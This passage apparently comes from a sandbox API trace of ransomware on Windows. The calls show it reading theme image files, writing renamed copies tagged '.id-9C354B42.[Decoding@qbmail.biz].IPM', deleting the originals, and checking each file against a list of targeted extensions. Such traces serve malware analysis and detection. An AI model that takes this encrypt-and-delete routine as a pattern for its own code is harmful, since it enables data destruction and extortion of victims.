dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.569] GetLastError () returned 0x0 [0091.569] ReadFile (in: hFile=0x200, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x621, lpOverlapped=0x0) returned 1 [0091.573] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x630, lpOverlapped=0x0) returned 1 [0091.575] ReadFile (in: hFile=0x200, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.575] WriteFile (in: hFile=0x204, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0091.575] SetEndOfFile (hFile=0x204) returned 1 [0091.575] CloseHandle (hObject=0x204) returned 1 [0091.580] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.580] SetEndOfFile (hFile=0x200) returned 1 [0091.582] CloseHandle (hObject=0x200) returned 1 [0091.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0091.582] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0091.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.583] lstrlenW (lpString=".doc") returned 4 [0091.583] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0091.583] lstrlenW (lpString=".docx") returned 5 [0091.583] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0091.583] lstrlenW (lpString=".pdf") returned 4 [0091.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0091.583] lstrlenW (lpString=".xls") returned 4 [0091.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0091.583] lstrlenW (lpString=".xlsx") returned 5 [0091.583] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0091.583] lstrlenW (lpString=".ppt") returned 4 [0091.583] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0091.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.583] lstrlenW (lpString=".zip") returned 4 [0091.584] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0091.584] lstrlenW (lpString=".rar") returned 4 [0091.584] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0091.584] lstrlenW (lpString=".bz2") returned 4 [0091.584] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0091.584] lstrlenW (lpString=".7z") returned 3 [0091.584] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0091.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.584] lstrlenW (lpString=".dbf") returned 4 [0091.584] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0091.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.584] lstrlenW (lpString=".1cd") returned 4 [0091.584] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0091.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.584] lstrlenW (lpString=".jpg") returned 4 [0091.584] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0091.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.584] lstrlenW (lpString=".doc") returned 4 [0091.584] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0091.584] lstrlenW (lpString=".docx") returned 5 [0091.585] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0091.585] lstrlenW (lpString=".pdf") returned 4 [0091.585] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0091.585] lstrlenW (lpString=".xls") returned 4 [0091.585] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0091.585] lstrlenW (lpString=".xlsx") returned 5 [0091.585] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0091.585] lstrlenW (lpString=".ppt") returned 4 [0091.585] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.585] lstrlenW (lpString=".zip") returned 4 [0091.585] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0091.585] lstrlenW (lpString=".rar") returned 4 [0091.585] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0091.585] lstrlenW (lpString=".bz2") returned 4 [0091.585] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0091.585] lstrlenW (lpString=".7z") returned 3 [0091.585] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.585] lstrlenW (lpString=".dbf") returned 4 [0091.585] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.585] lstrlenW (lpString=".1cd") returned 4 [0091.585] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0091.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0091.586] lstrlenW (lpString=".jpg") returned 4 [0091.586] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0091.586] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0091.586] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0091.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0092.705] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=25234) returned 1 [0092.705] CloseHandle (hObject=0x1cc) returned 1 [0092.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0092.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0092.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0092.705] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.705] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0092.706] GetLastError () returned 0x0 [0092.706] ReadFile (in: hFile=0x1cc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x6292, lpOverlapped=0x0) returned 1 [0092.710] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0092.713] ReadFile (in: hFile=0x1cc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0092.713] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0092.713] SetEndOfFile (hFile=0x18c) returned 1 [0092.713] CloseHandle (hObject=0x18c) returned 1 [0092.716] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.716] SetEndOfFile (hFile=0x1cc) returned 1 [0092.718] CloseHandle (hObject=0x1cc) returned 1 [0092.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0092.719] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0092.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.719] lstrlenW (lpString=".doc") returned 4 [0092.719] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0092.719] lstrlenW (lpString=".docx") returned 5 [0092.719] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0092.719] lstrlenW (lpString=".pdf") returned 4 [0092.719] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0092.720] lstrlenW (lpString=".xls") returned 4 [0092.720] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0092.720] lstrlenW (lpString=".xlsx") returned 5 [0092.720] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0092.720] lstrlenW (lpString=".ppt") returned 4 [0092.720] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0092.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.720] lstrlenW (lpString=".zip") returned 4 [0092.720] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0092.720] lstrlenW (lpString=".rar") returned 4 [0092.720] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0092.720] lstrlenW (lpString=".bz2") returned 4 [0092.720] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0092.720] lstrlenW (lpString=".7z") returned 3 [0092.720] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0092.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.720] lstrlenW (lpString=".dbf") returned 4 [0092.720] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0092.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.721] lstrlenW (lpString=".1cd") returned 4 [0092.721] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0092.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.721] lstrlenW (lpString=".jpg") returned 4 [0092.721] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0092.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.721] lstrlenW (lpString=".doc") returned 4 [0092.721] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0092.721] lstrlenW (lpString=".docx") returned 5 [0092.721] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0092.721] lstrlenW (lpString=".pdf") returned 4 [0092.721] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0092.721] lstrlenW (lpString=".xls") returned 4 [0092.722] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0092.722] lstrlenW (lpString=".xlsx") returned 5 [0092.722] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0092.722] lstrlenW (lpString=".ppt") returned 4 [0092.722] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0092.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.722] lstrlenW (lpString=".zip") returned 4 [0092.722] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0092.722] lstrlenW (lpString=".rar") returned 4 [0092.722] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0092.722] lstrlenW (lpString=".bz2") returned 4 [0092.722] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0092.722] lstrlenW (lpString=".7z") returned 3 [0092.722] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0092.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.722] lstrlenW (lpString=".dbf") returned 4 [0092.722] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0092.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.722] lstrlenW (lpString=".1cd") returned 4 [0092.723] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0092.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0092.723] lstrlenW (lpString=".jpg") returned 4 [0092.723] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0092.723] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0092.723] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0092.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0092.725] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=2848) returned 1 [0092.725] CloseHandle (hObject=0x1cc) returned 1 [0092.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0092.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0092.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0092.725] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.725] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0092.796] GetLastError () returned 0x0 [0092.796] ReadFile (in: hFile=0x1cc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0xb20, lpOverlapped=0x0) returned 1 [0092.799] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0092.801] ReadFile (in: hFile=0x1cc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0092.801] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0092.801] SetEndOfFile (hFile=0x18c) returned 1 [0092.802] CloseHandle (hObject=0x18c) returned 1 [0092.803] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.803] SetEndOfFile (hFile=0x1cc) returned 1 [0092.805] CloseHandle (hObject=0x1cc) returned 1 [0092.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0092.806] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0092.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.806] lstrlenW (lpString=".doc") returned 4 [0092.806] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.807] lstrlenW (lpString=".docx") returned 5 [0092.807] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0092.807] lstrlenW (lpString=".pdf") returned 4 [0092.807] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.807] lstrlenW (lpString=".xls") returned 4 [0092.807] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.807] lstrlenW (lpString=".xlsx") returned 5 [0092.807] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0092.807] lstrlenW (lpString=".ppt") returned 4 [0092.807] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.807] lstrlenW (lpString=".zip") returned 4 [0092.807] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.807] lstrlenW (lpString=".rar") returned 4 [0092.807] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.807] lstrlenW (lpString=".bz2") returned 4 [0092.807] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.807] lstrlenW (lpString=".7z") returned 3 [0092.808] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.808] lstrlenW (lpString=".dbf") returned 4 [0092.808] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.808] lstrlenW (lpString=".1cd") returned 4 [0092.808] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.808] lstrlenW (lpString=".jpg") returned 4 [0092.808] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.808] lstrlenW (lpString=".doc") returned 4 [0092.808] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.808] lstrlenW (lpString=".docx") returned 5 [0092.808] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0092.808] lstrlenW (lpString=".pdf") returned 4 [0092.809] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.809] lstrlenW (lpString=".xls") returned 4 [0092.809] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.809] lstrlenW (lpString=".xlsx") returned 5 [0092.809] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0092.809] lstrlenW (lpString=".ppt") returned 4 [0092.809] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.809] lstrlenW (lpString=".zip") returned 4 [0092.809] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.809] lstrlenW (lpString=".rar") returned 4 [0092.809] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.809] lstrlenW (lpString=".bz2") returned 4 [0092.809] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.809] lstrlenW (lpString=".7z") returned 3 [0092.809] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.809] lstrlenW (lpString=".dbf") returned 4 [0092.810] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.810] lstrlenW (lpString=".1cd") returned 4 [0092.810] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0092.810] lstrlenW (lpString=".jpg") returned 4 [0092.810] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.810] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0092.810] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0092.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0092.811] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=34916) returned 1 [0092.811] CloseHandle (hObject=0x1cc) returned 1 [0092.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0092.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0092.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0092.812] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.812] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 